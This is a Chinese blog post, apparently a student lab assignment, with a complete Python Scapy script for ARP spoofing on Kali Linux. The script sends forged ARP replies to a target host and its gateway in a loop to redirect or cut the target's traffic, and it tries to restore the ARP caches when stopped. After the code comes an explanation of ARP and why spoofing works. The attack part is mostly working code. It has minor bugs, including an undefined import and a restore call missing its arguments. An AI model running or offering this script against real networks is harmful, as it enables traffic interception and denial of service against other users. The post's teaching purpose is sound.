大三实训作业-arp欺骗攻击案例

该博客展示了如何在Kali Linux环境下,利用Python的Scapy库执行ARP数据包攻击。代码实现了ARP欺骗,通过不断发送伪造的ARP包,将目标主机的流量重定向到攻击者。当攻击结束,会发送恢复 ARP 缓冲的包,使网络恢复正常。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

环境:kali
工具:python3

不说废话,直接上代码

#arp数据包攻击 

from scapy.all import *
import sys

def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
    '''
    arp缓冲表恢复

    '''
    print("[*] 恢复ARP缓冲......")

    #构造ARP包
    send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,
             hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5)
    send(ARP(op=2, psrc=target_ip, pdst=gateway_ip,
             hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac))

def attack_target(gateway_ip,gateway_mac,target_ip,target_mac):

    #scapy构造ARP包
    #欺骗目标主机,我是网关
    #发给目标主机(target_ip)
    poison_target = ARP()
    poison_target.op = 2
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst = target_mac

    #欺骗网关,我是目标主机
    #发给网关(gateway_ip)
    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst = gateway_mac

    print("[*] 正在进行ARP攻击 [CTRL+C 结束]")

    while True:
        try:
            #循环发送arp包
            send(poison_target)
            send(poison_gateway)
            #休眠
            time.sleep(2)

            #捕获键盘中断
        except KeyboardInterrupt:
            #ARP缓冲恢复
            restore_target()
            break
    print("[*] ARP攻击结束")

    return



    pass
def main(gateway_ip,target_ip):
    #网关(kali)
    internface = "etho"
    #设置网卡
    conf.iface = internface
    #关闭提示信息
    conf.verb = 0

    print("[*] 网卡:%s"%internface)

    #获取网关MAC
    gateway_mac = getmacbyip(gateway_ip)
    if gateway_mac is None:
        print ("[!] 获取网关MAC失败。 Exiting")
        sys.exit(0)
    else:
        print("[*] 网关:%s MAC: %s"%(gateway_ip,gateway_mac))

    #获取目标主机MAC
    target_mac = getmacbyip(target_ip)
    if target_mac is None:
        print ("[!] 获取目标主机网关MAC失败。 Exiting")
        sys.exit(0)
    else:
        print("[*] 目标主机:%s MAC: %s "%(target_ip,target_mac))

    #开始攻击
    attack_target(gateway_ip, gateway_mac, target_ip, target_mac)
if __name__ == '__main__':
  gateway_ip = input("Starting to input target-gateway:")
  target_ip = input("Starting to input target-address-ip:")
  main(gateway_ip,target_ip)

试验截图:

物理机网卡信息:
在这里插入图片描述
检查物理机网络是否畅通
在这里插入图片描述
开始运行脚本,开始攻击物理机
在这里插入图片描述
物理机再次检查网络,攻击成功!!
在这里插入图片描述
结束脚本,物理机网络畅通!
在这里插入图片描述

现在有一台计算机A(IP:192.168.85.1 MAC:AA-AA-AA-AA-AA-AA),另一台计算机B(IP:192.168.85.100 MAC:BB-BB-BB-BB-BB-BB)现在用A去 ping B。看见 Reply from 192.168.85.100: bytes=32 time<10ms TTL=32 这样的信息。然后在运行中输入arp -a,会看见 192.168.8.100 BB-BB-BB-BB-BB-BB dynamic这样的信息。那就是arp高速缓存中IP地址和MAC地址的一个映射关系,在以太网中,数据传递靠的是MAC,而并不是IP地址。其实在这背后就隐藏着arp的秘密。你一定会问,网络上这么多计算机,A是怎么找到B的?那么我们就来分析一下细节。首先A并不知道B在哪里,那么A首先就会发一个广播的ARP请求,即目的MAC为FF-FF-FF-FF-FF-FF,目的IP为B的192.168.85.100,再带上自己的源IP,和源 MAC。那么一个网段上的所有计算机都会接收到来自A的ARP请求,由于每台计算机都有自己唯一的MAC和IP,那么它会分析目的IP即 192.168.85.100是不是自己的IP?如果不是,网卡会自动丢弃数据包。如果B接收到了,经过分析,目的IP是自己的,于是更新自己的ARP高速缓存,记录下A的IP和MAC。然后B就会回应A一个ARP应答,就是把A的源IP,源MAC变成现在目的IP,和目的MAC,再带上自己的源IP,源 MAC,发送给A。当A机接收到ARP应答后,更新自己的ARP高速缓存,即把arp应答中的B机的源IP,源MAC的映射关系记录在高速缓存中。那么现在A机中有B的MAC和IP,B机中也有A的MAC和IP。arp请求和应答过程就结束了。由于arp高速缓存是会定时自动更新的,在没有静态绑定的情况下,IP和MAC的映射关系会随时间流逝自动消失。在以后的通信中,A在和B通信时,会首先察看arp高速缓存中有没有B的IP和MAC的映射关系,如果有,就直接取得MAC地址,如果没有就再发一次ARP请求的广播,B再应答即重复上面动作。 好了在了解了上面基本arp通信过程后,arp欺骗就不那神秘了,计算机在接收到ARP应答的时候,不管有没有发出ARP请求,都会更新自己的高速缓存。利用这点如果C机(IP:192.168.85.200 MAC:CC-CC-CC-CC-CC-CC)伪装成B机向A发出ARP应答,自己伪造B机的源MAC为CC-CC-CC-CC-CC-CC,源IP依旧伪造成B的IP即192.168.85.100,是那么A机的ARP缓存就会被我们伪造的MAC所更新,192.168.85.100对应的MAC就会变成CC-CC-CC-CC-CC-CC.如果A机再利用192.168.85.100即B的IP和B通信,实际上数据包却发给了C机,B机根本就接收不到了。实例基于WINCAP编写,描述其本源理与流程.
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值